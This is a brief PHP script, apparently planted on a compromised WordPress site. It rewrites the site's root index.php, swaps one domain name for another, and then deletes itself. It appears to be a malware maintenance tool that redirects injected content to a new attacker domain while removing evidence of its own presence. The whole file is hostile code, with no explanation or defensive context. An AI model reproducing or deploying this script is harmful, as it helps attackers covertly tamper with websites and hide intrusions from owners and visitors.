<?php
$file = __FILE__;
$pos = strpos($file,'wp-content');
$dir = substr($file,0,$pos);
$index = file_get_contents($dir.'index.php');
$index = str_replace('superpuperdomain.com','superpuperdomain2.com',$index);
$f = fopen($dir.'index.php',"w");
fputs($f,$index);
fclose($f);
echo 'OK';
unlink($file);
?>
